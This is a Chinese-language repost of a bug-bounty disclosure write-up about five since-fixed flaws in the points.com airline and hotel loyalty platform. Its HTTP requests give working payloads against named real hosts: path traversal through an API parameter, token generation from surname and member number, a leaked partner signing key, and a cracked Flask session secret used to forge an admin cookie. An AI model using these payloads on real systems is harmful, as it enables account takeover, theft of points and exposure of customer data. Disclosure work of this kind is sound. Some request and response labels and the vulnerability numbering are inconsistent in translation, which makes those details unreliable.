近期挖国外航空和酒店漏洞详情

介绍

2023 年 3 月至 2023 年 5 月期间，我们团队在 point.com（大部分航空公司和酒店漏洞赏金活动的后端提供商）内发现了多个安全漏洞。这些漏洞将使攻击者能够访问敏感的客户帐户信息，包括姓名、账单地址、经过编辑的信用卡详细信息、电子邮件、电话号码和交易记录。此外，攻击者还可以利用这些漏洞执行如从客户帐户转移积分以及未经授权访问全局管理员网站等操作。这种未经授权的访问将授予攻击者完全权限来发放奖励积分、管理奖励活动、监督客户帐户以及执行各种管理功能。

在报告这些漏洞后，points.com 团队的反应非常迅速，在一小时内确认了每份报告。他们立即将受影响的网站下线以进行彻底调查，并随后修复了所有发现的问题，此文章中报告的5个严重漏洞均已得到修复。挖掘流程和漏洞都很优质通用，大家可以收藏保存进漏洞文档。

漏洞概述

目录遍历导致对 Points.com 客户订单记录的查询访问（2023 年 3 月 7 日）

我们的第一份报告是未经身份验证的 HTTP 路径遍历，允许访问内部 API，可以访问 2200万条订单记录中查询条目。记录中的数据包括部分信用卡号码、家庭住址、电子邮件地址、电话号码、奖励积分、客户授权令牌和其他交易详细信息。可以通过 API 调用来查询此信息，每个 HTTP 请求返回一百个结果。通过附加可选的排序参数，攻击者可以枚举数据或查询特定信息（例如搜索客户的姓名或电子邮件地址）。

使用奖励号码和姓氏即可转移奖励积分并泄露客户信息（2023 年 3 月 7 日）

我们报告的第二个漏洞是授权绕过，允许攻击者通过不正确配置的 API 仅知道其他用户的姓氏和奖励积分编号（这两个字段都在我们的第一个漏洞报告中披露），即可从其他用户转移航空公司奖励积分。攻击者可以生成完整的帐户授权令牌，这将允许他们管理客户帐户、查看订单历史记录、查看账单信息、查看联系信息以及从客户转移积分。

Virgin奖励活动的用户凭证被泄露，攻击者可以代表 Virgin 签署 API 请求（添加/删除奖励积分、访问客户帐户、修改奖励活动设置等）

2023 年 5 月 2 日，我们在 Points.com 托管的Virgin奖励网站上发现一个端点，该端点泄露了Virgin代表航空公司向核心 Points.com API 进行身份验证所使用的“macID”和“macKey”。这些凭证可用于通过使用公开的秘密签署 HTTP 请求来对“lcp.points.com”API 进行航空公司的完全身份验证，从而允许攻击者调用任何针对航空公司的 API 调用，例如修改客户帐户、添加/删除积分，或修改与Virgin奖励活动相关的设置。

转让航空里程以及访问美联航前程万里 (MileagePlus) 会员的客户帐户和订单信息的新漏洞（2023 年 4 月 29 日）

2023 年 4 月 29 日，我们发现了另一个特别影响美联航的第四个漏洞，攻击者可以为任何只知道其奖励编号和姓氏的用户生成授权令牌。通过此问题，攻击者既可以将里程转移给自己，又可以在与前程万里 (MileagePlus) 相关的多个应用程序（可能包括前程万里 (MileagePlus) 管理员面板）上进行身份验证。此问题披露了会员的姓名、帐单地址、经过编辑的信用卡信息、电子邮件、电话号码以及该帐户过去的交易。

通过弱 Flask 会话密钥完全访问 Global Points.com 管理控制台和钱包信用管理面板（2023 年 5 月 2 日）

2023 年 5 月 2 日，我们发现用于管理所有航空公司工作帐户和客户帐户的 Points.com 全球管理网站的 Flask 会话漏洞。发现此漏洞后，我们能够以超级管理员权限管理会话 cookie。可以访问网站上的所有核心管理功能，包括用户查找、手动奖金、奖励积分转换修改（例如设置两个程序之间的汇率，其中 1 积分将为您提供 100 万积分），以及更多的 point.com 管理端点（例如管理促销、品牌推广、重置信用度活动凭证等）。攻击者可能会滥用此访问权限来撤销现有奖励活动凭据并暂时停止航空公司奖励功能。

漏洞详情

随着最近航空旅行的成本水涨船高，贵的飞起来，我自身越来越多地投入“信用卡使用”社区，可以尝试将信用卡和购物游戏化，以节省奖励积分，这些奖励积分可以转换为航班和酒店等东西。从白帽子的角度来看，看到一个存储数值的系统距离被用作实际货币仅一步之遥，非常有意思。我使用这些系统的次数越来越多，我对弄清楚它们如何工作以及哪些系统真正为奖励积分行业提供动力就越感兴趣。

当我们开始选择目标时，我们发现国外一家名为points.com 的公司是全球几乎所有主要奖励活动的提供商。我乘坐过的每家航空公司都使用 Points.com 作为存储和处理奖励积分的后端，他们几乎是该领域的龙头。

信息收集

在搜索了 Github 并阅读了 points.com 文档几个小时后，我们发现有一个为奖励活动构建的 API，可以在“lcp.points.com”网站上运行。在浏览公共存储库时，我们发现了一个看起来像是“lcp.points.com”API 的 API 文档的链接，该链接已从互联网上删除。对我们来说幸运的是，archive.org 上有一份它的副本。

archive 的 API 文档描述了奖励活动验证用户身份、奖励信用度积分、转移信用度积分、花费信用度积分等的方式。

我们最初的想法是“我们如何获得奖励活动API的权限”，经过一番探索后，我们发现了“console.points.com”网站，该网站允许公开注册奖励活动来创建基础帐户。

对该门户进行身份验证后，我们发现它是奖励活动的管理后台，他们可以在其中初始化和管理 OAuth 类型的功能。并配置了与“LCP API”（“信用度商务平台”的缩写）（“lcp.points.com”主机）交互的 API 密钥。

我们做的下一件事是检查为仪表板提供支持的 JavaScript。我们发现，points.com 员工似乎利用“console.points.com”网站来请求有关客户帐户、奖励活动以及管理网站本身组件的管理操作。

奖励活动用于管理积分和客户帐户 (lcp.points.com) 的奖励活动 API 需要两个密钥才能与之交互，这两个密钥都是在您注册到 console.points.com 网站时分发的：

• macKeyIdentifier：本质上是一个 OAuth client_id

• macKey：本质上是一个 OAuth client_secret

使用我们通过在“console.points.com”上注册应用程序获得的上述两个变量，我们能够通过 OAuth 2.0 MAC 身份验证方案向“lcp.points.com”主机签署 HTTP 请求，并调用信用平台API。

实际上，平台采用这种形式的授权测试会很麻烦，因为它既意味着我们必须编写一个包装器来签名 HTTP 请求来模糊 API，并且密钥不会包含在奖励发送的 HTTP 请求中程式。例如，如果我们在航空公司程序上发现像 SSRF 这样的漏洞，密钥本身不会泄露给我们，只会泄露航空公司试图发出的特定 HTTP 请求的签名。

我们对 API 进行了很长时间的模糊测试（使用 Python 脚本手动签名每个 HTTP 请求），但没有发现任何一次性授权漏洞。查找其他航空公司的数字 ID 很简单，但不幸的是，我们无法找到任何基本的核心 API 漏洞，例如 IDOR 或权限升级。我们决定改变路线，以更好地了解公开列出的客户奖励活动如何使用 point.com 基础设施。

美联航空积分管理网站

由于美国联合航空公司利用 point.com 进行奖励活动，因此我们认为测试其与 point.com 集成的应用程序会更容易发现问题。我们发现以下前程万里 (MileagePlus) 域用于购买、转让和管理前程万里 (MileagePlus) 里程：

https://buymiles.mileageplus.com/united/united_landing_page/#/en-US

在对该网站进行了一段时间的模糊测试后，我们很快意识到“buymiles.mileageplus.com”网站实际上是由 point.com 而不是联合航空公司托管的。分析网站如何从授权的角度工作，并开始测试该网站的预期功能。

我们继续正常使用“buymiles.mileageplus.com”网站，并在尝试购买里程后观察到以下流程：

1. 点击“buymiles.mileageplus.com”网站上的“购买里程”

2. 您会被重定向到“www.united.com”，我们将在其中使用美联航前程万里 (United MileagePlus) 用户名和密码对 OAuth 类型流程进行身份验证

   这时通过“redirect_uri”参数重定向到“buymiles.mileageplus.com”，然后使用通过我们在“www.united.com”上的用户名和密码进行身份验证获得的授权令牌发送以下 HTTP 请求：

Request

POST /mileage-plus/sessions/sso HTTP/2
Host: buymiles.mileageplus.com
Content-Type: application/json

{"mvUrl":"www_united_com_auth_token"}

 Response

HTTP/2 201 Created
Content-type: application/json

{"memberValidation": "points_com_user_auth_token"}

4.使用从上述 HTTP 响应返回的“memberValidation”值，将另一个 HTTP 请求发送到以下接口，其中“memberDetails”是返回的“memberValidation”令牌

Request

POST /payments/authentications/ HTTP/2
Host: buymiles.mileageplus.com
Content-Type: application/json

{"currency":"USD","memberDetails":"points_com_user_auth_token","transactionType":"buy_storefront"}

Response

HTTP/201 Created 
Content-type: application/json

{"email": "[email protected]", "firstName": "Samuel", "lastName": "Curry", "memberId": "EH123456"}

完成 OAuth 类型的流程后，“memberValidation”令牌充当了 Points.com 航空公司内部的用户授权令牌，我们可以重复使用此令牌来请求 API 调用并以用户身份进行身份验证。（如果我们可以为其他用户生成此令牌，我们就能控制他们的帐户，如转移航空里程和检索他们的个人信息）

(漏洞1) 积分接收接口的不当授权，允许攻击者仅用姓氏和奖励号进行任意人身份验证

当我们继续寻找可能泄露某人“memberValidation”令牌的问题时，我们在美联航网站上发现了一个名为“为其他人购买里程”的流程。

当您以经过身份验证的前程万里 (MileagePlus) 用户身份登录此页面时，系统会要求您添加要发送里程的收件人。收件人输入字段包含名字、姓氏和前程万里 (MileagePlus) 号码。当我们发送 HTTP 请求来添加收件人时，我们注意到响应中返回了memberId。

Request

HTTP/201 Created 
Content-type: application/json

{"email": "[email protected]", "firstName": "Samuel", "lastName": "Curry", "memberId": "EH123456"}

Response

HTTP/2 201 Created
Content-type: application/json

{"memberId": "EH123456", "links": {"self": {"href": "points_com_user_auth_token"}}, "membershipLevel": "1"}

HTTP 响应包含会员的授权令牌，我们之前了解到，该令牌用于检索他们的信息并代表他们转移里程。

该漏洞的工作原理如下：通过普通网站正常发送他们的名字、姓氏和奖励编号以添加积分接收者，服务器将在 HTTP 响应中返回一个授权令牌，该令牌可用于检索他们的账单地址，电话号码、电子邮件、经过编辑的信用卡信息和账单历史记录。我们还可以使用此令牌代表他们转移里程。

漏洞利用很简单，使用泄露的令牌，将其放入网站上的任何 API 调用中，然后执行转移里程或简单检索会员的 PII 等操作。我们只需知道受害者的姓氏和奖励点数就可以完全验证受害者帐户的身份！

加重漏洞影响范围和伤害

此时，在发现仅知道其姓氏和奖励号码即可访问客户帐户后，我们很好奇“buymiles.mileageplus.com”网站上是否还有其他端点存在类似的权限问题但不需要我们利用有关用户的条件信息。

我们注意到，原始的易受攻击的 HTTP 请求中存在一个名为“lpId”的参数，用于生成成员授权令牌。根据 LCP API 文档，该参数指的是信用度活动 UUID（例如达美航空、联合航空、西南航空等）。美联航网站上的 API 似乎与达美航空或阿联酋航空等其他程序使用的 API 相同。

通过将信用度活动 UUID 和用户奖励编号交换为第一个漏洞中的另一个活动的 UUID 和用户奖励编号，我们能够验证是否可以利用此漏洞访问其他奖励活动客户帐户。如果我们将信用度 UUID 和奖励编号交换给达美航空客户，它会将授权令牌返还给不同奖励活动中的受害者。

这种行为说明，这是针对通用的 point.com API漏洞，该 API 似乎与所有信用活动相关，而不是仅与美国联合航空公司相关。

在将问题升级为为任何航空公司生成授权令牌后，我们开始对易受攻击的 HTTP 请求进行模糊测试，并很快意识到信用活动 UUID 参数正在作为 HTTP 路径参数发送到代理 HTTP 服务器。

我们通过观察在信用活动 ID 参数末尾附加问号和井号时的奇怪行为发现了这一点，从而破坏了服务器发送的 HTTP 请求：

Request

POST /mileage-plus-transfer/mvs/recipient HTTP/1.1
Host: buymiles.mileageplus.com

{"mvPayload":{},"lpId":"0ccbb8ee-5129-44dd-9f66-a79eb853da73#"} <-- 这位置要加英镑符号

Response

HTTP/1.1 400 Bad Request
Content-type: application/json

{"error":"Cannot process type 'text/html', expected 'application/json'"}

我们的分析是“lpId”参数被发送到“lcp.points.com”API，并且在我们加问号后，HTTP 响应会报错。测试信用活动 UUID 之前和之后的目录并查看 API 是否仍能正常运行。

经过一段时间的测试后，我们验证了以下每个payload，都允许我们正常添加收件人，从而使我们能够验证 HTTP 请求实际上已代理到第二个 HTTP 服务器。我们通过阅读 LCP API 文档并观察到许多具有信用活动 UUID 的 HTTP 请求具有先前目录“lps”和附加目录“mvs”来做到这一点。通过发送这些附加目录并接收正常的 200 OK HTTP 响应，这意味着我们能够遍历 API 并可能访问其他 API 接口。

“lpId”：“ / 0ccbb8ee-5129-44dd-9f66-a79eb853da73”
“lpId”：“ /../ lps/0ccbb8ee-5129-44dd-9f66-a79eb853da73”
“lpId”：“0ccbb8ee-5129-44dd-9f66-a79eb853da73 / mvs /？ ”
“lpId”：“ /../ lps/0ccbb8ee-5129-44dd-9f66-a79eb853da73 /mvs/？ ”

根据我们对 LCP API OAuth 2.0 MAC 身份验证方案的理解，如果这些辅助上下文 HTTP 请求定向到“lcp.points.com”主机，则需要使用特定客户“macKey”和“macID”对它们进行签名参数。

然而，这个 HTTP 请求能够为任何奖励活动生成授权令牌。当我们尝试使用我们提供的“lcp.points.com”凭据自行执行此操作时，我们会收到授权错误，表明我们没有访问特定线路的权限。

但在看到 HTTP 请求可以为任何奖励活动生成授权令牌后，我想到 Points.com United 网站（由 Points.com 构建和托管）正在使用“特别权限令牌”作为授权在发送 HTTP 请求以生成 point.com 会员授权令牌时有权访问所有奖励活动的持有者。

如果是这种情况，并且我们可以遍历 API，那么我们将能够重写对任何具有全局权限的“lcp.points.com”接口的整个 POST 请求。我们的新漏洞点变成了寻找一个要遍历的接口，以便我们可以测试 HTTP 请求是否确实由“特权令牌”签名。

(漏洞2) 特权 API 上的目录遍历可访问 Points.com 奖励活动的 2200 万条客户订单记录

为了测试我们的理论，即辅助上下文 API 可能使用具有全局权限的授权令牌，我们试图找到可以遍历并覆盖整个 API 调用的其他接口，以便我们可以控制整个 HTTP 请求。从 LCP API 文档中获取端点列表后，我们通过入侵者配置运行它们，该配置测试带有附加“？”的特定端点。来切断剩余的路径。

例如，为了尝试找到“/api/example”的正确目录，我们将发送以下“lpId”有效负载：

"lpId":"/api/example？"
"lpId":"../api/example?"
"lpId":"../../api/example?"

我们得到了第一个 200 OK HTTP 响应，构造payload如下：

Request

POST /mileage-plus-transfer/mvs/recipient HTTP/1.1
Host: buymiles.mileageplus.com

{"mvPayload":{},"lpId":"../../v1/search/orders/?"}

Response

HTTP/2 400 Bad Request
Content-type: application/json

{“error”:”Missing query parameter”}

看到缺少的查询参数后，我们尝试通过附加“lpId”参数来模糊 GET 参数（例如 /v1/search/orders?query=x），但无法识别任何内容。这让我们有点困惑，然后我们意识到“/v1/search/orders”接口是一个采用 JSON 正文的 POST 请求。

我们看到我们正在发送的空参数“mvPayload”，并尝试对 JSON 正文中的参数进行爆破。然后我们看到一个成功的响应包大小，参数“q”是服务器正在寻找的参数。

通过发送以下 POST 请求，我们能够访问所有 point.com 信用活动的交易数据，包括达美航空、阿联酋航空、新加坡航空、联合航空、阿提哈德航空、加拿大航空、汉莎航空、西南航空、阿拉斯加航空、夏威夷航空以及许多酒店奖励希尔顿、万豪和 IHG 等积分提供商：

Request

POST /mileage-plus-transfer/mvs/recipient HTTP/1.1
Host: buymiles.mileageplus.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Content-Type: application/json
Content-Length: 59
Connection: close

{"mvPayload":{"q":"*"},"lpId":"../../v1/search/orders/?"}

Response

HTTP/1.1 200 OK
Date: Fri, 10 Mar 2023 00:02:04 GMT
Content-Type: application/json

{
  "orders": [
    {
      "payment": {
        "billingInfo": {
        "cardName": "Visa",
        "cardNumber": "XXXXXXXXXXXXXXXX",
        "cardType": "VISA",
        "city": "REDACTED",
        "country": "US",
        "expirationMonth": 7,
        "expirationYear": 2023,
        "firstName": "REDACTED",
        "lastName": "REDACTED",
        "phone": "REDACTED",
        "state": "TX",
        "street1": "REDACTED",
        "zip": "REDACTED"
      },
      "costs": {
        "baseCost": 275,
        "fees": [],
        "taxes": [],
        "totalCost": 275
      },
      "currency": "USD",
      "type": "creditCard"
    },
    "user": {
      "balance": 94316,
      "email": "REDACTED",
      "firstName": "REDACTED",
      "lastName": "REDACTED",
      "memberId": "REDACTED",
      "memberValidation": "https://lcp.points.com/v1/lps/LOYALTY_PROGRAM_ID/mvs/MEMBER_TOKEN",
      "membershipLevel": "1"
    },
    "flightBookingDetails": {
      "destinationCode": "MDW",
      "destinationName": "Chicago (Midway), IL - MDW",
      "originCode": "SDF",
      "originName": "Louisville, KY - SDF",
      "roundTrip": true
    }
  }
],
"totalCount": "22745869"
}

当我们看到 HTTP 响应，我们立即收官报告该问题。我们可以从各种航空公司和酒店奖励活动中查询超过 2200 万条记录。看来 HTTP 请求的“macKey”和“macID”是一种可以访问所有奖励活动数据的“特权密钥”。

该漏洞几乎影响了所有的 point.com 客户。

在对 Points.com 基础设施进行了几天测试后，我们对寻找允许我们复制或生成无限里程积分类的漏洞越来越感兴趣。当“buymiles.mileageplus.com”网站修复关闭时，我们开始探索 point.com 基础设施的其余部分。

(漏洞3) 泄露的 Virgin Rewards 活动凭证允许攻击者代表 Virgin 签署 API 请求、添加/删除奖励积分、访问客户帐户

在对 Points.com 资产进行测试时，我们发现Virgin奖励活动客户使用一个网站，在合作伙伴网站“shopsaway.virginatlantic.com”上购物时能赚取积分。

我们对这个网站很感兴趣，因为它由points.com 托管，并且可能利用points.com 或Virgin 的凭据来访问与其活动相关的信息。

我们在该资产上运行发现类工具扫描，发现了各种 PHP 端点，包括返回以下信息的“login1.php”端点：

在“login1.php”接口的 HTTP 响应中，似乎是测试奖励活动中成员的个人资料信息以及各种密钥。

其中公开的密钥和客户的授权令牌，更有趣的是，我们假设是Virgin的 point.com 生产工作帐户的“macID”和“macKey”值。

根据我们对“lcp.points.com”API 的理解，我们可以使用这些机密代表航空公司访问 API。我们找到了一种方法来验证这一点。在互联网上搜索了一段时间后，我们发现了以下代码，可用于使用泄露的凭据对“lcp.points.com”API 的 HTTP 请求进行签名：

if __name__ == '__main__':
    if '-u' not in sys.argv:
        exit("Usage: %s -u <macKeyIdentifier>:<macKey> [curl options...] <url>" % os.path.basename(__file__))

使用上述 Github 存储库中的代码来帮助对“lcp.points.com”的 HTTP 请求签名，我们可以使用以下语法将 Virgin 签名的 HTTP 请求发送到“lcp.points.com”API：

python lcp_curl.py -u MAC_ID:MAC_SECRET " https://lcp.points.com/v1/search/orders/?limit=1000 "

运行上述脚本代表 Virgin 程序向“/v1/search/orders”接品签名 HTTP 请求后，我们收到以下返回数据：

{
  "orders": [
    {
      "payment": {
      "billingInfo": {
      "cardName": "Visa",
      "cardNumber": "XXXXXXXXXXXXXXXX",
      "cardType": "VISA",
      "city": "REDACTED",
      "country": "US",
      "expirationMonth": 4,
      "expirationYear": 2023,
      "firstName": "REDACTED",
      "lastName": "REDACTED",
      "phone": "REDACTED",
      "state": "CA",
      "street1": "REDACTED",
      "zip": "REDACTED"
    }
  ...
  ],
  "totalCount": "2032431"
}

有效！

这验证了泄露的凭据是有效的，并且可以用于访问Virgin奖励活动。攻击者可以使用这些凭据攻击任何“lcp.points.com”接口，包括管理接口，例如添加/删除客户的奖励积分、访问客户帐户以及修改与 Virgin 奖励活动相关的内部工作账户信息。

(漏洞4) “widgets.unitedmileageplus.com”上的绕过授权允许攻击者通过姓氏和奖励号码以任何用户身份进行身份验证，并可能访问美联航前程万里 (United MileagePlus) 后台管理面板

在美联航漏洞赏金活动中，有一些域明确超出了范围，包括“mileageplus.com”。我们猜测它们超出范围的原因是许多“mileageplus.com”子域实际上是由points.com 提供支持的。

该网站的子域之一是“widgets.unitedmileageplus.com”，它充当美联航前程万里 (United MileagePlus) 会员的一种 SSO 服务，以验证“buymiles.mileageplus.com”和“mpxadmin.unitedmileageplus.com”等应用程序的身份。

使用gau枚举子域后，我们发现有多个登录页面可以对您进行相关前程万里 (MileagePlus) 应用程序的身份验证。

每个登录页面都需要不同的参数：有些会要求您提供美联航前程万里 (United MileagePlus) 号码和密码，而另一些则会要求您提供用户名、密码和安全问题的答案。有一张非常奇怪的表格，只要求您提供前程万里 (MileagePlus) 号码和姓氏。

我们发现从每种不同的授权方法返回的令牌在格式上彼此相同。我们测试发现，可以将您仅使用您的姓氏和前程万里 (MileagePlus) 号码进行身份验证的 HTTP 响应中的令牌从更安全的用户名、密码和安全问题接口复制到消费者接口，并且你将通过身份验证进入任何应用中。

意味着存在绕过授权，我们可以跳过使用会员凭据登录帐户，而只提供他们的姓名和前程万里 (MileagePlus) 号码。

从漏洞影响的角度来看，可以通过此绕过方式访问各种应用，包括“buymiles.mileageplus.com”，它披露了 PII 并允许我们将里程转移给自己。我们继续使用此漏洞将里程从我们自己的一个帐户转移到另一个帐户，这表明确实可以使用此授权旁路转移另一个用户的里程。

我们可以（可能）进行身份验证的另一个更有趣的应用是“mpxadmin.unitedmileageplus.com”网站。我们无法确认这一点，因为在发现问题时，我们没有可能有权访问该应用程序的美联航员工的姓氏和前程万里 (MileagePlus) 号码。如果我们这样做，我们认为这是可能的，并且这种访问级别将允许我们管理客户余额、查看交易以及执行前程万里 (MileagePlus) 奖励活动的管理操作。

由于我们无法确认这一点，所以挖掘这条0漏洞仍在进行

在 Points.com 全局管理控制台上切换回狩猎

在意识到我们无法在航空公司网站上进一步明智地寻找影响力后，我们将注意力转移回原来的网站，我们发现该网站被 Points.com 员工和奖励活动所有者用来管理他们的客户和奖励活动。

从我们在“console.points.com”网站上的 JavaScript 中看到的情况来看，有大量接口只能由points.com 员工访问。我们又对这些接口进行了几个小时的测试，试图找到任何形式的授权绕过或绕过权限检查的方法，但都失败了。经过一段时间的尝试提升我们的特权，但失败后，我们缩小范围，发现一些我们一直忽视的事情……

(漏洞5) 通过弱 Flask 会话密钥完全访问 Core Points.com 管理控制台和信用度管理网站

当我们最终停止测试 API 并寻找权限漏洞后，我们意识到完全忘记了查看会话 cookie。

根据 cookie 的格式，我们可以看出这是一些奇怪的加密 blob，因为它看起来像 JWT 格式。我们花了更多的时间来收集更多信息，我们最终分析出来是核心应用会话令牌是一个签名的 Flask 会话 cookie。

session=.eJwNyTEOgzAMBdC7eO6QGNskXCZKrG8hgVqJdEPcvX3ru6n5vKJ9PwfetFHCiCqwtYopo4NLiPOo4jYMuhizpJLV8oicilQF_qOeF_a104taXJg7bdHPiecHfX8ccg.ZFCriA.99lOhq3pO8 yBWM7XjBshaKjqPKU

我们获取了 cookie，并通过 Ian Carroll 的“ cookiemonster ”工具运行它。该工具会尝试使用已知字典来测试签名，从而自动猜测用于签名 cookie 的值。几秒钟后，我们收到了结果。

zlz@htp ~> cookiemonster -cookie ".eJwNyTEOgzAMBdC7eO6QGNskXCZKrG8hgVqJdEPcvX3ru6n5vKJ9PwfetFHCiCqwtYopo4NLiPOo4jYMuhizpJLV8oicilQF_qOeF_a104taXJg7bdHPiecHfX8ccg.ZFCriA.99lOhq3pO8yBWM7XjBshaKjqPKU"
 CookieMonster 1.4.0
  CookieMonster loaded the default wordlist; it has 38919 entries.
 Success! I discovered the key for this cookie with the flask decoder; it is "secret".

Points.com 员工用来管理所有奖励资料、信用活动和客户订单的网站 Flask 会话。理论上，我们现在可以使用我们想要的任何数据来签名我们自己的 cookie，只要服务器不在 cookie 中包含一些不可预测或已签名的数据即可。我们对网站进行了身份验证，并将会话 cookie 复制到flask-unsign 以调查 cookie 的内容：

{'_csrf_token': 'redacted', '_fresh': True, '_id': 'redacted', '_user_id': 'redacted', 'sid': 'redacted', 'user': {'authenticationType': 'account', 'email': '[email protected]', 'feature_flags': ['temp_resending_emails'], 'groups': [], 'id': 'redacted', 'mac_key': 'redacted', 'mac_key_identifier': 'redacted', 'roles': []}}

根据我们在 cookie 的解密正文中看到的内容，没有任何不可预测的因素会阻止我篡改 cookie。“角色”和“组”数组对于提升权限似乎最有效，因为我们现在可以使用我们想要的任何数据对其进行重新签名，因此我们返回应用程序并尝试查找与这些字段相关的 JavaScript。

根据我们在 JavaScript 中发现的信息，看起来最有特权的角色是“configeditor”角色。我们将其与“admin”组一起添加到我们的 cookie 中，并使用以下命令将其退出：

flask-unsign -s -S "secret" -c "{'_csrf_token': 'bb2cf0e85b20f13dcfebecb436c91b160f392fa2555961c23b3fcc67775edc50', '_fresh': True, '_id': 'a76abcdda16ed36f131df6e5f30c7e9cf142131ebcd4c0706b4c05ec720006daeaef804fcd925743954f10c8a5b3e10018216585157c88e6aedaa8fb42702dd3', '_user_id': '8547961e-b122-4b42-a124-4169cfc86a94', 'sid': 'bd2e7256bf1011eda2410242ac11000a', 'user': {'authenticationType': 'account', 'email': '[email protected]', 'feature_flags': ['temp_resending_emails', 'v2_manual_bonus_page', 'v2_request_for_reimbursements'], 'groups': ['admin'], 'id': '8547961e-b122-4b42-a124-4169cfc86a94', 'mac_key': 'blLWTn1VyhIWNPoAVC2X9-Iqsqei7pEPkgXjxnhRepg=', 'mac_key_identifier': '8d261003b476497e8be4c2c077d69b5f', 'roles': [{'role': 'https://lcp.points.com/v1/roles/configeditor'}]}}"

该命令使用“secret”值，放弃了我们的 cookie，并为我们提供了以下 cookie：

session=.eJy9U01r3DAU_C8-x1lJ1oe9UOgSegiUsrQhCZRg9PG0665tOZKcdgn5733eHAKFQLeHniw_zcwbzZOei9am6NscDjAW68IYZj2BWhhGPK2c9WDAGl5J21BDJfFVw7xmQohGUssqU3 lrpVJKgLOCFBdF6yOkfbHOcQb86xzKaiW1sc5pKsFVEpWp8xKEr4hV0FhPOcMaIIZboog0-BFgFSOESKdBg68J99Y1TChenyJ7SmythamAEkJrRqWoBRXK1jVIDU7r2hvOFGHOVYUTOUF8dVMLrtA9lIYyVnJEl ZoyXnIq0YqtpW44MtIJbBwDxYQ02JBS1GWcEsaZthQbE43ARblYPxd6znsYc2d17sJ4c5xgObq1YR4zwmDQXY-VpIefdo7x-HEK3ZjTpQ0DbnvQeY7Q-l7vUrH-XmQYphazhNF146490 RMCn1g76HHWfWvCOKd20jt4LUd4nCHl1oeI624wc0wwoKVUPFwUuxjm6aR8FcYUetikba8zgoeNG7pxwZyTz6Bte4DjklH_-e5mpLfH_fXdl23Y3F6x-6a8fkyP0Knp0_awu__xa9x_hWn 34Y2Iw1jS8t2SXlE7JjHQynAleaOgNsAtw8ugnGyM8MiL6Hnx_3xaIWef85TWq1Vvp8u3LFdPdHWCriJoV4axPxYvF39NeiecMxS2p9pmmr7N0xRiPoerp6lM59P6f2LZOeUwQPx_HQcdD5D xOuOTeeosJBtG3-0gpnNUTAgH1IiwtF-G_Af_vRE-vLz8BnvIpoE.ZFDJgQ.Lld9KeetbZJ_KBeLI2KOHB7EnaA

插入此 cookie 后，我们尝试重新访问“console.points.com”网站，并看到了一堆额外的功能。我们在并拥有完全的管理权限！

立即引起我们注意的页面是“手动奖金”。点击它后，我们意识到它能够手动将任何活动的奖励积分添加到任何奖励帐户。

单击“信用平台”侧边栏按钮后，我们还可以访问“admin-loyaltywallet.points.com”网站。该网站还有附加功能，允许我们通过姓名、会员 ID 或电子邮件地址等查询用户：

其他选项卡包括配置和实验管理：

另一个有趣的漏洞是能够通过“促销”选项卡修改奖励兑换金额。我们可以更新奖励活动，例如，用 1 亿美联航里程换取 1 达美航空里程，或者在特定活动上每花费 1 美元即可兑换 100 万英里。然后，用户可以兑换里程，获得几乎无限的里程。

对于用户管理，您可以查看、更新或删除用户帐户。可以查看帐户的所有帐户历史记录、连接和成员资格。

“console.points.com”网站上另外两个有趣的页面是模块和路由端点。攻击者可以利用此漏洞将恶意 JavaScript 添加到管理面板上的每个页面。如果未被发现，它将形成一个超级有趣的后门，攻击者的 JavaScript 将被加载到管理网站的每个页面上。

攻击者可以通过修改平台合作伙伴接口上每个航空公司使用的密钥对来暂时关闭所有奖励旅行。一旦 MAC ID 和 MAC 密钥被覆盖，就会破坏航空公司与 Points.com 通信所使用的基础设施，这意味着客户将无法使用航空公司里程预订航班。

该管理后台是为 point.com 员工构建的，用于管理工作人员级别的奖励活动。具有此访问级别的攻击者可以撤销实际航空公司为客户提供访问 API 的服务所使用的凭据，从而关闭该特定航空公司的全球奖励旅行。除了访问客户帐户信息之外。在许多场景中，恶意攻击者可能会滥用此访问权限。

漏洞修复后，我们尝试通过从源服务器 IP 跳出虚拟主机来绕过他们的修复，但没有成功。该网站已被完全关掉了。

漏洞时间表

• 2023 年 3 月 8 日 – 报告里程盗窃和 PII 泄露漏洞 (#1)

• 2023 年 3 月 8 日——points.com 确认问题的回复

• 2023 年 3 月 9 日 – 发送了有关如何升级 3 月 8 日调查结果的附加信息 (#2)

• 2023 年 3 月 9 日 – point.com 的响应，网站已下线

• 2023 年 3 月 29 日 – 收到来自 point.com 的有关全面修复的电子邮件

• 2023 年 3 月 29 日 – 发送回复验证全面修复

• 2023 年 4 月 29 日 – 报告联合授权绕过 (#3)

• 2023 年 4 月 29 日 – point.com 的响应，网站已下线

• 2023 年 5 月 2 日 – 发送有关 Virgin 凭据泄露的报告 (#4)

• 2023 年 5 月 2 日 -points.com 的响应，端点已删除

• 2023 年 5 月 2 日 – 发送弱 Flask 会话 Cookie 报告 (#5)

• 2023 年 5 月 2 日 – point.com 的响应，网站已下线

• 2023 年 8 月 3 日 – 披露

原文始发于微信公众号（军机故阁）：近期挖国外航空和酒店漏洞详情